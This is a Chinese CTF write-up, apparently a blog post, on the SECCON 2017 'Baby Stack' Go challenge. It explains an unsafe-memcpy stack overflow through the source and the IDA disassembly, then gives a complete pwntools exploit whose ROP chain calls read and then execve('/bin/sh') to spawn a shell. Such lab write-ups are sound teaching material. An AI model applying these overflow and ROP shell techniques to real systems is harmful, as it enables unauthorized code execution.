go pwn 2017 SECCON - Baby Stack

要用ida7.6来恢复一些它的符号表

不然还得用像go_parser的一些工具。

在这里插入图片描述
整个反编译出来看着非常奇怪
不知道是不是编译的时候选了一些参数啥的

我们此行抱着学习的态度
找着了它的源码
我们对着源码来读一读汇编

下面这是源码

package main

import (
   "fmt"
   "os"
   "bufio"
   "unsafe"
)

func main(){
	buf := make([]byte,32)
	//buf是通过make开的一个一维数组,大小是32个字节
	stdin := bufio.NewScanner(os.Stdin)
	//根据os.Stdin返回一个scanner结构体
	fmt.Printf("Please tell me your name >> ");
	stdin.Scan()
	//sanner结构体也有自己的方法Scan
	//作用就是从终端去读
	name := stdin.Text()
	//Text方法返回的自然是读到的字符串
	
	fmt.Printf("Give me your message >> ");
	stdin.Scan()
	text := stdin.Text()
	//同样的方法给text一个输入

	memcpy(*(*uintptr)(unsafe.Pointer(&buf)), *(*uintptr)(unsafe.Pointer(&text)), len(text))
	//模拟了C语言里的memcpy
	//上面输入的话应该是gc会直接创建合适的内存
	//但是就硬要往栈里复制
	//就会造成栈溢出
	//unsafe指针就像C语言的指针  用法是固定用法  一般不用  因为人家都说了unsafe
	
	fmt.Printf("Thank you, %s!\nmsg : %s\n", name, string(buf))
}

func memcpy(dst uintptr, src uintptr, len int){
	for i := 0; i < len; i++ {
		*(*int8)(unsafe.Pointer(dst)) = *(*int8)(unsafe.Pointer(src))
		dst += 1
		src += 1
	}
}

首先有一说一
源码里面有些go的用法还真没学过
先好好研究研究这源码。

make函数是用来为 slice,map 或 chan 类型分配内存和初始化一个对象。
NewScanner这个也是第一次见
上代码

func NewScanner(r io.Reader) *Scanner {
    return &Scanner{
        r:            r,
        split:        ScanLines,
        maxTokenSize: MaxScanTokenSize,
    }
}

函数NewScanner返回一个Scanner,这个返回值来自于函数参数r。

type Scanner struct {
    r            io.Reader // The reader provided by the client.
    split        SplitFunc // The function to split the tokens.
    maxTokenSize int       // Maximum size of a token; modified by tests.
    token        []byte    // Last token returned by split.
    buf          []byte    // Buffer used as argument to split.
    start        int       // First non-processed byte in buf.
    end          int       // End of data in buf.
    err          error     // Sticky error.
    empties      int       // Count of successive empty tokens.
    scanCalled   bool      // Scan has been called; buffer is in use.
    done         bool      // Scan has finished.
}

结构体里有自己的方法

func (s *Scanner) Scan() bool {
    if s.done {
        return false
    }
    s.scanCalled = true
    // Loop until we have a token.
    for {
        // See if we can get a token with what we already have.
        // If we've run out of data but have an error, give the split function
        // a chance to recover any remaining, possibly empty token.
        if s.end > s.start || s.err != nil {
            advance, token, err := s.split(s.buf[s.start:s.end], s.err != nil)
            if err != nil {
                if err == ErrFinalToken {
                    s.token = token
                    s.done = true
                    return true
                }
                s.setErr(err)
                return false
            }
            if !s.advance(advance) {
                return false
            }
            s.token = token
            if token != nil {
                if s.err == nil || advance > 0 {
                    s.empties = 0
                } else {
                    // Returning tokens not advancing input at EOF.
                    s.empties++
                    if s.empties > maxConsecutiveEmptyReads {
                        panic("bufio.Scan: too many empty tokens without progressing")
                    }
                }
                return true
            }
        }
        // We cannot generate a token with what we are holding.
        // If we've already hit EOF or an I/O error, we are done.
        if s.err != nil {
            // Shut it down.
            s.start = 0
            s.end = 0
            return false
        }
        // Must read more data.
        // First, shift data to beginning of buffer if there's lots of empty space
        // or space is needed.
        if s.start > 0 && (s.end == len(s.buf) || s.start > len(s.buf)/2) {
            copy(s.buf, s.buf[s.start:s.end])
            s.end -= s.start
            s.start = 0
        }
        // Is the buffer full? If so, resize.
        if s.end == len(s.buf) {
            // Guarantee no overflow in the multiplication below.
            const maxInt = int(^uint(0) >> 1)
            if len(s.buf) >= s.maxTokenSize || len(s.buf) > maxInt/2 {
                s.setErr(ErrTooLong)
                return false
            }
            newSize := len(s.buf) * 2
            if newSize == 0 {
                newSize = startBufSize
            }
            if newSize > s.maxTokenSize {
                newSize = s.maxTokenSize
            }
            newBuf := make([]byte, newSize)
            copy(newBuf, s.buf[s.start:s.end])
            s.buf = newBuf
            s.end -= s.start
            s.start = 0
        }
        // Finally we can read some input. Make sure we don't get stuck with
        // a misbehaving Reader. Officially we don't need to do this, but let's
        // be extra careful: Scanner is for safe, simple jobs.
        for loop := 0; ; {
            n, err := s.r.Read(s.buf[s.end:len(s.buf)])
            s.end += n
            if err != nil {
                s.setErr(err)
                break
            }
            if n > 0 {
                s.empties = 0
                break
            }
            loop++
            if loop > maxConsecutiveEmptyReads {
                s.setErr(io.ErrNoProgress)
                break
            }
        }
    }

在go语言中,Scan()方法用于从标准输入“os.Stdin”读取文本,即从终端获取数据。该方法会返回成功读取的数据个数和遇到的任何错误;如果读取的数据个数比提供的参数少,会返回一个错误报告原因。

剩下的都在源码里做了注释

真开始逆了
看了源码之后逆向就变的简单起来
在这里插入图片描述
首先进来先看到一个runtime_morestack_noctxt函数
我们看名字就知道这个函数就是用来生长栈的。

这是啥意思?
Go 语言用的是 continue stack 栈管理机制,并且 Go 语言函数中 callee 的栈空间由 caller 来维护,callee 的参数、返回值都由 caller 在栈中预留空间。详见 The Go low-level calling convention on x86-64[3]。Go支持goroutine也就是协程,每个goroutine都有自己的栈,其初始栈空间很小并在使用过程中自动增长。
这种机制使得Go编译出来的函数在起始处判断当前栈是否够用,如果不够用就分配足够大的新空间并将旧栈数据拷贝到新栈中。该特点表现到二进制中如下,可以利用该特点定位到Go语言函数,当然有部分函数也不会判断栈空间是否够用。

在这里插入图片描述这个地方就显然是我们刚开始的那句make
但是要注意
buf.len buf.cap buf.array是三个参数
array是地址
array是var_198的地方

在这里插入图片描述这个就是Newscanner函数
这函数就是在寻找一个io_reader

在这里插入图片描述这是比较混乱的两个输入输出
你说这为啥就是两个输入输出
具体函数咋调用的
参数都咋看
这还真不知道
就当成经验吧。

在这里插入图片描述
slicebytetostring就是类型转换 读到的转换成string

type StringHeader struct {
	Data uintptr
	Len  int
}

string结构体长这样

slicebytetostring函数又是这样定义的

func slicebytetostring(buf *tmpBuf, b []byte) (str string) {
	l := len(b)
	if l == 0 {
		return ""
	}
	if l == 1 {
		stringStructOf(&str).str = unsafe.Pointer(&staticbytes[b[0]])
		stringStructOf(&str).len = 1
		return
	}
	var p unsafe.Pointer
	if buf != nil && len(b) <= len(buf) {
		p = unsafe.Pointer(buf)
	} else {
		p = mallocgc(uintptr(len(b)), nil, false)
	}
	stringStructOf(&str).str = p
	stringStructOf(&str).len = len(b)
	memmove(p, (*(*slice)(unsafe.Pointer(&b))).array, uintptr(len(b)))
	return
}

返回直接返回一个结构体的话就红色箭头指的是字符串地址
后一个就是长度
所以就看得出来是想把message放到buf

在这里插入图片描述
包括memcpy函数也是一清二楚。

在这里插入图片描述最后看着长长的
就是gc的两个垃圾回收
然后输出

所以漏洞就是memcpy导致的栈溢出

那么所以怎么利用呢?
我们之前在函数调用规则里研究过
函数的返回值直接就在rbp下面。

所以直接返回就行。
返回之后的利用我们就可以

利用的话我们首先找到了
在这里插入图片描述再去找找相关gadget
找gadget还得ropper ROPgadget真不大行

我们找到pop_rsi pop_rax
但是没占到pop_rdi pop_rdx
又但是找到了两个这个东西
在这里插入图片描述所以我们只要控制好rax就无所谓。
虽然是go语言 但是syscall的调用还是遵循的linux的syscall的调用规矩
还是rdi rsi rdx
所以就先read读一个/bin/sh\x00
然后execve。

但是要注意的一点是
如果我们直接一顿a填充就会报错
在这里插入图片描述

旁边的报错信息我们好好瞅一眼
在这里插入图片描述原因是main_memcpy函数下面调用了一下slicebytetostring
目的是将buf切片转换成string
所以buf的相关参数就应该正确我们就改一下

在这里插入图片描述

那里的逻辑就是参数放在栈最上面用来传参
format a 都是栈顶的一会调用函数传参用的string跟interface
在这里插入图片描述

但是还是会在这里卡
在这里插入图片描述那也很好猜了。
因为输出不仅需要buf 还需要name
我们上面的name并没有改。

name也调整一下就好了
.

在这里插入图片描述
那么就成了

exp

# -*- coding: utf-8 -*-
from pwn import*

context.log_level='debug'
context.arch='amd64'
context.os = "linux"

pc = "./baby_stack"

local = 1
if local:
    r = process(pc)
    elf = ELF(pc)
    #libc = elf.libc
    
else:
    r = remote("121.40.196.158",12001)
    elf = ELF(pc)
    libc = ELF("./libc-2.27.so")

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

bss = 0x59fa00
syscall = 0x456889   
pop_rax_ret = 0x4016ea    
pop_rsi_ret = 0x46defd   
pop_rdi_ret = 0x470931    
pop_rdx_ret = 0x4a247c    

#payload = "a" * (104 + 16)
payload = "a" * 104 + p64(0x5999a0) + p64(0x200) 
payload += "a" * 0x50 + p64(bss) + p64(0x200)
payload += "a" * 0xc0
#payload = "a" * 0x198
payload += p64(pop_rax_ret) + p64(bss)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss)
payload += p64(pop_rdx_ret) + p64(8)
payload += p64(pop_rax_ret) + p64(0)   
payload += p64(syscall)
 
payload += p64(pop_rax_ret) + p64(bss)
payload += p64(pop_rdi_ret) + p64(bss)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(59) 
payload += p64(syscall)

sla("name >> ", 'Yongibaoi')
#db()

sla("message >> ", payload)

sleep(1)
sd("/bin/sh\x00")

ti()

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值